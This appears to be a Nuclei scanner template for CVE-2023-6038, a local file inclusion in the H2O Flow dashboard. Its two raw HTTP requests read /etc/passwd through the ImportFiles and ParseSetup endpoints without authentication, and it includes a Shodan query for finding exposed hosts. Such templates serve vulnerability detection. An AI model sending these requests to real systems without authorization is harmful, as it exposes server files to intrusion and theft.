id: CVE-2023-6038 info: name: H2O ImportFiles - Local File Inclusion author: danmcinerney,byt3bl33d3r severity: high description: | An attacker is able to read any file on the server hosting the H2O dashboard without any authentication. reference: - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/ - https://nvd.nist.gov/vuln/detail/CVE-2023-6038 - https://github.com/h2o/h2o classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-6038 cwe-id: CWE-862,CWE-29 epss-score: 0.05392 epss-percentile: 0.92391 cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: h2o product: h2o shodan-query: title:"H2O Flow" tags: cve,cve2023,h2o-3,h2o,ml http: - raw: - | GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} - | POST /3/ParseSetup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D matchers-condition: and matchers: - type: dsl dsl: - "contains(body_1, 'ImportFilesV3')" - "regex('root:.*:0:0:', body_2)" - "status_code_2 == 200" condition: and # digest: 4a0a00473045022100d23a99051d0ca3c7ed9f00df5f9dff40fc14d7bbfe4a1a21e9996fe7df89f8cb02203a1b3dbd2ab774f9296aada9f5de5d759852382066531edbe9b558c90f0e5322:922c64590222798bb761d5b6d8e72950